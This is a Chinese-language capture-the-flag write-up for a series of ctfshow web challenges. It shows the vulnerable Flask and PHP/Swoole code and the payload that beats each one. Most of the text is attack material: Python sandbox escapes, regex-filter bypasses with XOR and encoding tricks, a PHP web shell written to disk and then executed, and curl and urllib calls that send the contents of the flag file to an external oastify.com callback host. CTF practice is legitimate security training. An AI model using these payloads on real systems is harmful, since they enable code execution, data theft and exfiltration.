code=str(exec(globals()[list(globals().keys())[True-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)]].args.get(globals()[list(globals().keys())[True-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)]].method)))
思路2:
删除sys.modules['os'],再重新import os
GET:
?POST=import sys;del sys.modules['os'];import os;os.system('curl http://705fx7k88swr66g044qpggyqzh58tzho.oastify.com?flag=`cat /flag`');
POST:
code=str(exec(globals()[list(globals().keys())[True-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)]].args.get(globals()[list(globals().keys())[True-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)]].method)))
web449
from flask import Flask
from flask import request
import re
import sys
sys.modules['os']=None
sys.modules['imp']=None
sys.modules['subprocess']=None
sys.modules['socket']=None
sys.modules['timeit']=None
sys.modules['platform']=None
sys.modules['sys']=None
app = Flask(__name__)
sys.modules['importlib']=None
del sys
def Q2B(uchar):
inside_code = ord(uchar)
if inside_code == 0x3000:
inside_code = 0x0020
else:
inside_code -= 0xfee0
if inside_code < 0x0020 or inside_code > 0x7e:
return uchar
return chr(inside_code)
def stringQ2B(ustring):
return "".join([Q2B(uchar) for uchar in ustring])
@app.route('/',methods=['POST', 'GET'])
def app_index():
if request.method == 'POST':
code = request.form['code']
if code:
code = stringQ2B(code)
if '\\u' in code:
return 'hacker?'
if '\\x' in code:
return 'hacker?'
reg = re.compile(r'os|open|system|read|eval|builtins|curl|_|getattr|{|\'|"|\+|[0-9]|request|len')
if reg.search(code)==None:
return eval(code)
return 'where is flag?<!-- /?code -->'
if __name__=="__main__":
app.run(host='0.0.0.0',port=80)
这题把sys模块和importlib模块都禁用了,而且还删除了sys模块。之前的方法用不了
执行 del sys 后:
del sys # 删除当前命名空间中的 sys 引用
print(sys) # ❌ NameError: name 'sys' is not defined
print(sys.version) # ❌ NameError: name 'sys' is not defined
import a
# ❌ ModuleNotFoundError: import of sys halted; None in sys.modules
可以用urllib模块来发送网络请求,带出flag
GET:
?POST=a=open('/flag').read();from urllib.request import urlopen;urlopen('http://705fx7k88swr66g044qpggyqzh58tzho.oastify.com?p='%2Ba)
+要url加密
POST:
code=str(exec(globals()[list(globals().keys())[True-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)]].args.get(globals()[list(globals().keys())[True-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)]].method)))
web450
<?php
highlight_file(__FILE__);
$ctfshow=$_GET['ctfshow'];
if(preg_match('/^[a-z]+[\^][a-z]+[\^][a-z]+$/', $ctfshow)){
eval("($ctfshow)();");
}
题目说执行phpinfo就可以拿到flag,看代码可知我们只要满足这个正则匹配即可执行代码
^和$是锚点,表示匹配字符串的开始和结束[a-z]+表示匹配一个或多个小写英文字母[\^]表示匹配一个脱义的插入符号^
举个例子,也就是abc^def^ghi,满足正则匹配只要在中间加两个^即可
两个相同的字符异或,得到0,0和另一个字符异或,得到的便是另一个字符
?ctfshow=phpinfo^phpinfo^phpinfo
web451
<?php
highlight_file(__FILE__);
$ctfshow=$_GET['ctfshow'];
if(preg_match('/^[a-z]+[\^][a-z]+[\^][a-z]+$/', $ctfshow)){
if(!preg_match('/phpinfo/', $ctfshow)){
eval("($ctfshow)();");
}
}
两个相同的字符异或,得到0,0和另一个字符异或,得到另一个字符,所以我们两两修改一下就好
?ctfshow=aaabbbb^phpbbbb^aaainfo
web452
<?php
highlight_file(__FILE__);
$ctfshow=$_GET['ctfshow'];
if(!preg_match('/\'|\"|[0-9]|\{|\[|\~|\^|phpinfo|\$/i', $ctfshow)){
eval($ctfshow);
}
直接执行代码:
?ctfshow=echo `cat /flaag`;
web453
<h3>where is flag?</h3><!--/ctf/show?s=XXX file_get_contents($_POST['s'])-->
GET:
/ctf/show?s=XXX
POST:
s=index.php
<?php
$http = new Swoole\Http\Server('0.0.0.0', 80);
$http->on('start', function ($server) {
echo "Swoole http server is started at http://0.0.0.0:80\n";
});
$http->on('request', function ($request, $response) {
list($controller, $action) = explode('/', trim($request->server['request_uri'], '/'));
$route = array('ctf');
$method = array('show','file','exec');
if(in_array($controller, $route) && in_array($action, $method)){
(new $controller)->$action($request, $response);
}else{
$response->end('<h3>where is flag?</h3><!--/ctf/show?s=XXX file_get_contents($_POST[\'s\'])-->');
}
});
$http->start();
class ctf{
public function show($request,$response){
$response->header('Content-Type', 'text/html; charset=utf-8');
$s=$request->post['s'];
if(isset($s)){
$response->end(file_get_contents($s));
}else{
$response->end('s not found');
}
}
public function file($request,$response){
$response->header('Content-Type', 'text/html; charset=utf-8');
$s=$request->post['s'];
if(isset($s)){
file_put_contents('shell.php', $s);
$response->end('file write done in /var/www/shell.php');
}else{
$response->end('s not found');
}
}
public function exec($request,$response){
system('php shell.php');
$response->end('command exec done');
}
}
也就是我们访问路径/ctf/file,然后POST传入内容,就会被写进shell.php
接着再访问路径/ctf/exec就可以执行shell.php的代码
GET:
/ctf/file
POST:
s=<?php system('curl http://705fx7k88swr66g044qpggyqzh58tzho.oastify.com?p=`cat f*`');?>
GET:
/ctf/exec
web454
<?php
$http = new Swoole\Http\Server('0.0.0.0', 80);
$http->on('start', function ($server) {
echo "Swoole http server is started at http://0.0.0.0:80\n";
});
$http->on('request', function ($request, $response) {
list($controller, $action) = explode('/', trim($request->server['request_uri'], '/'));
$route = array('ctf');
$method = array('show','file','include');
if(in_array($controller, $route) && in_array($action, $method)){
(new $controller)->$action($request, $response);
}else{
$response->end('<h3>where is flag?</h3><!--/ctf/show?s=XXX file_get_contents($_POST[\'s\'])-->');
}
});
$http->start();
class ctf{
public function show($request,$response){
$response->header('Content-Type', 'text/html; charset=utf-8');
$s=$request->post['s'];
if(isset($s)){
$response->end(file_get_contents($s));
}else{
$response->end('s not found');
}
}
public function file($request,$response){
$response->header('Content-Type', 'text/html; charset=utf-8');
$s=$request->post['s'];
if(isset($s)){
file_put_contents('shell.php', $s);
$response->end('file write done in /var/www/shell.php');
}else{
$response->end('s not found');
}
}
public function include($request,$response){
include('shell.php');
$response->end('include done');
}
}
这题把system换成include了,方法跟之前一样
GET:
/ctf/file
POST:
s=<?php system('curl http://705fx7k88swr66g044qpggyqzh58tzho.oastify.com?p=`cat f*`');?>
GET:
/ctf/include
web455
<?php
$http = new Swoole\Http\Server('0.0.0.0', 80);
$http->on('start', function ($server) {
echo "Swoole http server is started at http://0.0.0.0:80\n";
});
$http->on('request', function ($request, $response) {
list($controller, $action) = explode('/', trim($request->server['request_uri'], '/'));
$route = array('ctf');
$method = array('show','file','exec','reload');
if(in_array($controller, $route) && in_array($action, $method)){
(new $controller)->$action($request, $response);
}else{
$response->end('<h3>where is flag?</h3><!--/ctf/show?s=XXX file_get_contents($_POST[\'s\'])-->');
}
});
$http->start();
class ctf{
public function show($request,$response){
$response->header('Content-Type', 'text/html; charset=utf-8');
$s=$request->post['s'];
if(isset($s)){
$response->end(file_get_contents($s));
}else{
$response->end('s not found');
}
}
public function file($request,$response){
$response->header('Content-Type', 'text/html; charset=utf-8');
$s=$request->post['s'];
if(isset($s)){
file_put_contents('shell.php', $s);
$response->end('file write done in /var/www/shell.php');
}else{
$response->end('s not found');
}
}
public function exec($request,$response){
system('php shell.php');
$response->end('include done');
}
public function reload($request,$response){
global $http;
$http->reload();
$response->end('reload done');
}
}
这题比上题多了个reload函数,但是用处不大,同时include函数也改回exec函数了
GET:
/ctf/file
POST:
s=<?php system('curl http://705fx7k88swr66g044qpggyqzh58tzho.oastify.com?p=`cat f*`');?>
GET:
/ctf/exec
web456
<?php
$http = new Swoole\Http\Server('0.0.0.0', 80);
$http->on('start', function ($server) {
echo "Swoole http server is started at http://0.0.0.0:80\n";
});
$http->on('request', function ($request, $response) {
list($controller, $action) = explode('/', trim($request->server['request_uri'], '/'));
$route = array('ctf');
$method = array('show','file','exec','reload');
if(in_array($controller, $route) && in_array($action, $method)){
(new $controller)->$action($request, $response);
}else{
$response->end('<h3>where is flag?</h3><!--/ctf/show?s=XXX file_get_contents($_POST[\'s\'])-->');
}
});
$http->start();
class ctf{
public function show($request,$response){
$response->header('Content-Type', 'text/html; charset=utf-8');
$s=$request->post['s'];
if(isset($s)){
$response->end(file_get_contents($s));
}else{
$response->end('s not found');
}
}
public function file($request,$response){
$response->header('Content-Type', 'text/html; charset=utf-8');
$s=$request->post['s'];
if(isset($s)){
file_put_contents('shell.php', $s);
$response->end('file write done in /var/www/shell.php');
}else{
$response->end('s not found');
}
}
public function exec($request,$response){
system('php shell.php');
$response->end('include done');
}
public function reload($request,$response){
global $http;
$http->reload();
$response->end('reload done');
}
}
就只是改了end信息,因此可以继续用之前的方法
GET:
/ctf/file
POST:
s=<?php system('curl http://705fx7k88swr66g044qpggyqzh58tzho.oastify.com?p=`cat f*`');?>
GET:
/ctf/exec
web457
<?php
highlight_file(__FILE__);
error_reporting(0);
include('flag.php');
abstract class user{
public $username;
public $password;
function __construct($u,$p){
$this->username=$u;
$this->password=$p;
}
abstract public function check();
}
class visitor extends user{
public function check(){
return ($this->username!=='admin' && $this->password!=='admin888');
}
}
class admin extends user{
public function check(){
$u= call_user_func($this->password);
return $u=='admin';
}
}
$u=$_GET['u'];
$p=$_GET['p'];
if(isset($u)&&isset($p)){
if((new visitor($u,$p))->check()){
die('welcome visitor :'.$u);
}
if((new admin($u,$p))->check()){
die('welcome admin :'.$u.' flag is :'.$flag);
}
}
$u=call_user_func($this->password);逻辑:
可以使用call_user_func来调用任意函数,然后成功调用phpinfo后返回值为true,
true=='admin'
可以通过双等号的判断
?u=admin&p=phpinfo
web458
<?php
highlight_file(__FILE__);
error_reporting(0);
include('flag.php');
abstract class user{
public $username;
public $password;
function __construct($u,$p){
$this->username=$u;
$this->password=$p;
}
abstract public function check();
}
class visitor extends user{
public function check(){
return ($this->username!=='admin' && $this->password!=='admin888');
}
}
class admin extends user{
public function check(){
$u= call_user_func($this->password);
return $u==='admin';
}
}
$u=$_GET['u'];
$p=$_GET['p'];
if(isset($u)&&isset($p)){
if((new visitor($u,$p))->check()){
die('welcome visitor :'.$u);
}
if((new admin($u,$p))->check()){
die('welcome admin :'.$u.' flag is :'.$flag);
}
}
这题改为$u==='admin',变成强比较了
class admin extends user{
public function check(){
$u= call_user_func($this->password);
return $u==='admin';
}
}
因为类名为admin,我们可以给p传入get_class获取类名,然后再传入u=admin,就满足条件了
?u=admin&p=get_class
web459
<?php
highlight_file(__FILE__);
error_reporting(0);
include('flag.php');
$u=$_GET['u'];
$p=$_GET['p'];
if(isset($u)&&isset($p)){
copy($u, $p.'.php');
}
copy()函数是用于复制文件的内置函数
bool copy ( string $source , string $dest [, resource $context ] )
$source:必需,要复制的源文件路径
$dest:必需,目标文件路径(包含文件名)
$context:可选的上下文资源
php伪协议
?u=php://filter/read=convert.base64-encode/resource=flag.php&p=1
web460
from flask import Flask
from flask import request
import re
import sys
from func_timeout import func_set_timeout
import time
import func_timeout
import random
sys.modules['os']=None
sys.modules['imp']=None
sys.modules['subprocess']=None
sys.modules['socket']=None
sys.modules['timeit']=None
sys.modules['platform']=None
sys.modules['sys']=None
app = Flask(__name__)
sys.modules['importlib']=None
del sys
@func_set_timeout(0.7)
def run(s):
time.sleep(randmon.random())
return eval(s)
def Q2B(uchar):
inside_code = ord(uchar)
if inside_code == 0x3000:
inside_code = 0x0020
else:
inside_code -= 0xfee0
if inside_code < 0x0020 or inside_code > 0x7e:
return uchar
return chr(inside_code)
def stringQ2B(ustring):
return "".join([Q2B(uchar) for uchar in ustring])
@app.route('/',methods=['POST', 'GET'])
def app_index():
if request.method == 'POST':
code = request.form['code']
if code:
code = stringQ2B(code)
if '\\u' in code:
return 'hacker?'
if '\\x' in code:
return 'hacker?'
reg = re.compile(r'os|open|system|read|eval|builtins|curl|_|getattr|{|\'|"|\+|[0-9]|request|len')
if reg.search(code)==None:
try:
s=run(code)
return s
except func_timeout.exceptions.FunctionTimedOut:
return exec('1')
return 'where is flag?<!-- /?code -->'
if __name__=="__main__":
app.run(host='0.0.0.0',port=8080)
跟web449相比,多了一些时间检测的代码
@func_set_timeout(0.7)
def run(s):
time.sleep(randmon.random())
return eval(s)
使用了 func-timeout 库,为 run 函数设置了 0.7 秒的超时限制。这意味着如果传入的 code 执行时间超过 0.7 秒,程序会抛出 FunctionTimedOut 异常,从而中断执行
在 run 函数中,执行 eval 之前有一个 time.sleep(random.random())。这会增加一个 0 到 1 秒之间的随机延迟算上随机延迟,也就是我们传入的代码必须要执行时间小于0.7s
try:
s=run(code)
return s
except func_timeout.exceptions.FunctionTimedOut:
return exec('1')
Payload
def getNumber3(number):
number = int(number)
if number in [-2, -1, 0, 1]:
return ["~int(True)", "~int(False)",
"int(False)", "int(True)"][number + 2]
if number % 2:
return "~%s" % getNumber3(~number)
else:
return "(%s<<(int(True)))" % getNumber3(number / 2)
def getNumber2(number):
number = int(number)
if number in [-2, -1, 0, 1]:
return ["~([]<())", "~([]<[])",
"([]<[])", "([]<())"][number + 2]
if number % 2:
return "~%s" % getNumber2(~number)
else:
return "(%s<<([]<()))" % getNumber2(number / 2)
s = 'import urllib.request;import ssl;f=open("/flag").read();context = ssl._create_unverified_context();url = "http://705fx7k88swr66g044qpggyqzh58tzho.oastify.com?p="+f;request = urllib.request.Request(url);response = urllib.request.urlopen(url=request,context=context)'
res = 'str().join(['
for i in s:
res += f"chr({getNumber3(ord(i))}),"
res = res[:-1]
res += '])'
print("exec("+res+")")
POST:
code=上述结果

浙公网安备 33010602011771号